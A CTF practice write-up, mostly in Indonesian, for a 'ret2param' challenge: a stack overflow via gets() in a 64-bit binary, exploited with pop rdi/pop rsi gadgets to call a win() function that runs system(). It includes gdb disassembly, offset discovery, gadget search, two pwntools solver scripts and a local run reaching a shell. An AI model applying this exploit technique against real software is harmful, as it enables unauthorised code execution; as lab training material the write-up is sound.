ret2param
Latihan buat persiapan seleksi LKS, isinya ret2param.
Diawal, kita sudah diberi hint bahwa challenge ini itu ret2param. Langsung saja kita checksec.
~/ctf/pwncheatsheet/learnfromLKS/Binary_Exploit/Hands-on/ROP/ret2param main*
❯ checksec something_64 14:10:48
[*] '/home/claritys/ctf/pwncheatsheet/learnfromLKS/Binary_Exploit/Hands-on/ROP/ret2param/something_64'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
Luckily, its not stripped, lets check the function.
~/ctf/pwncheatsheet/learnfromLKS/Binary_Exploit/Hands-on/ROP/ret2param main*
❯ pwndbg something_64 14:10:50
GEF for linux ready, type `gef' to start, `gef config' to configure
93 commands loaded and 5 functions added for GDB 16.3 in 0.00ms using Python engine 3.13
pwndbg: loaded 212 pwndbg commands. Type pwndbg [filter] for a list.
pwndbg: created 13 GDB functions (can be used with print/break). Type help function to see them.
Reading symbols from something_64...
This GDB supports auto-downloading debuginfo from the following URLs:
<https://debuginfod.cachyos.org>
<https://debuginfod.archlinux.org>
Debuginfod has been disabled.
To make this setting permanent, add 'set debuginfod enabled off' to .gdbinit.
(No debugging symbols found in something_64)
gef➤ info fun
All defined functions:
Non-debugging symbols:
0x0000000000401000 _init
0x0000000000401090 puts@plt
0x00000000004010a0 system@plt
0x00000000004010b0 printf@plt
0x00000000004010c0 gets@plt
0x00000000004010d0 setvbuf@plt
0x00000000004010e0 exit@plt
0x00000000004010f0 _start
0x0000000000401120 _dl_relocate_static_pie
0x0000000000401130 deregister_tm_clones
0x0000000000401160 register_tm_clones
0x00000000004011a0 __do_global_dtors_aux
0x00000000004011d0 frame_dummy
0x00000000004011d6 init
0x000000000040121d win
0x000000000040127f sport
0x00000000004012e0 main
0x0000000000401310 __libc_csu_init
0x0000000000401380 __libc_csu_fini
0x0000000000401388 _fini
Because this is a ret2param, so i have to check all the function that defined here. As usual, the main calling the other function.
gef➤ disas win
Dump of assembler code for function win:
0x000000000040121d <+0>: endbr64
0x0000000000401221 <+4>: push rbp
0x0000000000401222 <+5>: mov rbp,rsp
0x0000000000401225 <+8>: sub rsp,0x10
0x0000000000401229 <+12>: mov DWORD PTR [rbp-0x4],edi
0x000000000040122c <+15>: mov DWORD PTR [rbp-0x8],esi
0x000000000040122f <+18>: cmp DWORD PTR [rbp-0x4],0xba5eba11
0x0000000000401236 <+25>: jne 0x401267 <win+74>
0x0000000000401238 <+27>: cmp DWORD PTR [rbp-0x8],0xf007ba11
0x000000000040123f <+34>: jne 0x401267 <win+74>
0x0000000000401241 <+36>: lea rdi,[rip+0xdc0] # 0x402008
0x0000000000401248 <+43>: call 0x401090 <puts@plt>
0x000000000040124d <+48>: lea rdi,[rip+0xdc6] # 0x40201a
0x0000000000401254 <+55>: call 0x401090 <puts@plt>
0x0000000000401259 <+60>: lea rdi,[rip+0xdc8] # 0x402028
0x0000000000401260 <+67>: call 0x4010a0 <system@plt>
0x0000000000401265 <+72>: jmp 0x40127d <win+96>
0x0000000000401267 <+74>: lea rdi,[rip+0xdc2] # 0x402030
0x000000000040126e <+81>: call 0x401090 <puts@plt>
0x0000000000401273 <+86>: mov edi,0x0
0x0000000000401278 <+91>: call 0x4010e0 <exit@plt>
0x000000000040127d <+96>: leave
0x000000000040127e <+97>: ret
End of assembler dump.
gef➤ disas sport
Dump of assembler code for function sport:
0x000000000040127f <+0>: endbr64
0x0000000000401283 <+4>: push rbp
0x0000000000401284 <+5>: mov rbp,rsp
0x0000000000401287 <+8>: sub rsp,0x40
0x000000000040128b <+12>: lea rdi,[rip+0xdd2] # 0x402064
0x0000000000401292 <+19>: call 0x401090 <puts@plt>
0x0000000000401297 <+24>: lea rdi,[rip+0xde2] # 0x402080
0x000000000040129e <+31>: call 0x401090 <puts@plt>
0x00000000004012a3 <+36>: lea rdi,[rip+0xe06] # 0x4020b0
0x00000000004012aa <+43>: call 0x401090 <puts@plt>
0x00000000004012af <+48>: lea rdi,[rip+0xe2a] # 0x4020e0
0x00000000004012b6 <+55>: mov eax,0x0
0x00000000004012bb <+60>: call 0x4010b0 <printf@plt>
0x00000000004012c0 <+65>: lea rax,[rbp-0x40]
0x00000000004012c4 <+69>: mov rdi,rax
0x00000000004012c7 <+72>: mov eax,0x0
0x00000000004012cc <+77>: call 0x4010c0 <gets@plt>
0x00000000004012d1 <+82>: lea rdi,[rip+0xe60] # 0x402138
0x00000000004012d8 <+89>: call 0x401090 <puts@plt>
0x00000000004012dd <+94>: nop
0x00000000004012de <+95>: leave
0x00000000004012df <+96>: ret
End of assembler dump.
Okay, there’s gets. and 0x80 = 128, because its x86, we need 136 for reaching EIP. And now we verification for the offset for the EIP.
>>> 0x40
64
>>> 0x40 + 8
72
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x23
$rbx : 0x0
$rcx : 0x00007ffff7e4f750 → 0x0000000000000000
$rdx : 0x00007ffff7e4f750 → 0x0000000000000000
$rsp : 0x00007fffffffdfb8 → "jaaaaaaakaaaaaaalaaaaaaamaaa"
$rbp : 0x6161616161616169 ("iaaaaaaa"?)
$rsi : 0x00007ffff7e4e603 → 0xe4f750000000000a ("\n"?)
$rdi : 0x1
$rip : 0x00000000004012df → <sport+0060> ret
$r8 : 0x1
$r9 : 0x0
$r10 : 0x0
$r11 : 0x202
$r12 : 0x1
$r13 : 0x00007fffffffe0e0 → 0x0000000000000001
$r14 : 0x00007ffff7ffd000 → 0x00007ffff7ffe3c0 → 0x0000000000000000
$r15 : 0x00007fffffffe0f8 → 0x00007fffffffe51a → "QT_QPA_PLATFORM=wayland"
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
──────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffdfb8│+0x0000: "jaaaaaaakaaaaaaalaaaaaaamaaa" ← $rsp
0x00007fffffffdfc0│+0x0008: "kaaaaaaalaaaaaaamaaa"
0x00007fffffffdfc8│+0x0010: "laaaaaaamaaa"
0x00007fffffffdfd0│+0x0018: 0x00007f006161616d ("maaa"?)
0x00007fffffffdfd8│+0x0020: 0x00000000004012e0 → <main+0000> endbr64
0x00007fffffffdfe0│+0x0028: 0x00000001f7fe1bf0
0x00007fffffffdfe8│+0x0030: 0x00007fffffffe0e8 → 0x00007fffffffe4b9 → "/home/claritys/ctf/pwncheatsheet/learnfromLKS/Bina[...]"
0x00007fffffffdff0│+0x0038: 0x0000000000400040 → (bad)
────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x4012d8 <sport+0059> call 0x401090 <puts@plt>
0x4012dd <sport+005e> nop
0x4012de <sport+005f> leave
→ 0x4012df <sport+0060> ret
[!] Cannot disassemble from $PC
────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "something_64", stopped 0x4012df in sport (), reason: SIGSEGV
──────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x4012df → sport()
───────────────────────────────────────────────────────────────────────────────────────────
gef➤ cyclic -l jaaaaaaa
Finding cyclic pattern of 8 bytes: b'jaaaaaaa' (hex: 0x6a61616161616161)
Found at offset 72
My own solver: (actually I’m using template from pwninit and then i modifed it a bit for my own environment)
#!/usr/bin/env python3
from pwn import *
elf = ELF("something_64_patched")
exe = context.binary
context.terminal = ["ghostty", "-e"]
context.arch = "amd64"
gdbscript = """
set pagination off
set confirm off
break main
continue
"""
def conn():
if args.GDB:
r = process([elf.path])
gdb.attach(r, gdbscript=gdbscript)
return r
if args.LOCAL:
return process([elf.path])
return remote("addr", 1337)
def main():
r = conn()
payload = flat(
b'A' * 72,
0x0000000000401373, #RDI
0xba5eba11,
0x0000000000401371, #RSI + R15 (r15nya ngikut aja dia kocak nih)
0xf007ba11,
0,
0x000000000040121d #Win
)
# good luck pwning :)
r.sendline(payload)
r.interactive()
if __name__ == "__main__":
main()
Nah, aku ini no AI tapi melihat referensi dari google. Itu fitur ya katanya di JCC wkwk.
Sebenarnya salahku itu awalnya karena setelah pop RDI itu aku langsung ngasih address win, baru nanti ngasih argsnya. Nah, ketika aku googling itu, ternyata aku salah. Dan akhirnya aku ngefix deh.
~/ctf/pwncheatsheet/learnfromLKS/Binary_Exploit/Hands-on/ROP/ret2param main*
❯ ropper --file something_64 --search "pop" 14:14:13
[INFO] Load gadgets for section: LOAD
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop
[INFO] File: something_64
0x000000000040136c: pop r12; pop r13; pop r14; pop r15; ret;
0x000000000040136e: pop r13; pop r14; pop r15; ret;
0x0000000000401370: pop r14; pop r15; ret;
0x0000000000401372: pop r15; ret;
0x000000000040136b: pop rbp; pop r12; pop r13; pop r14; pop r15; ret;
0x000000000040136f: pop rbp; pop r14; pop r15; ret;
0x00000000004011bd: pop rbp; ret;
0x0000000000401373: pop rdi; ret;
0x0000000000401371: pop rsi; pop r15; ret;
0x000000000040136d: pop rsp; pop r13; pop r14; pop r15; ret;
Solver resmi dari latihan LKS nya adalah:
from pwn import *
elf = context.binary = ELF('./something_64')
p = process()
rdi = p64(0x401373)
ret = p64(0x40101a)
win = p64(0x40121d)
rsi = p64(0x401371)
offset = 72
param_1 = 0xba5eba11
param_2 = 0xf007ba11
payload = flat(
'A' * offset,
rdi, param_1,
rsi, param_2, p64(0x0),
win
)
p.sendline(payload)
p.interactive()⏎
we can keep it and use it as a reference in the future.
Implement:
~/ctf/pwncheatsheet/learnfromLKS/Binary_Exploit/Hands-on/ROP/ret2param main*
❯ python3 solve.py LOCAL 14:25:03
[*] '/home/claritys/ctf/pwncheatsheet/learnfromLKS/Binary_Exploit/Hands-on/ROP/ret2param/something_64_patched'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
[x] Starting local process '/home/claritys/ctf/pwncheatsheet/learnfromLKS/Binary_Exploit/Ha[┤] Starting local process '/home/claritys/ctf/pwncheatsheet/learnfromLKS/Binary_Exploit/Ha[+] on/ROP/ret2param/something_64_patched': pid 132845
[*] Switching to interactive mode
Hana: Ayo olahragaa'
Luna: Tunggu kak, Luna mau nyiapin diri dahulu
Luna: Tapi Luna juga tidak tau olahrgara apa?
Hana: Udah tenang. Kan ada olahraga baseball dan football juga sih. Ayookk udh
>
Luna: Oke oke chill, Luna datang.
Hana: Ayo lunaaa
Luna: tungguu
$ ls
solve32.py something_32_patched something_64_patched
solve.py something_32.py something_64.py
something_32 something_64 something.zip
Flag
SHELL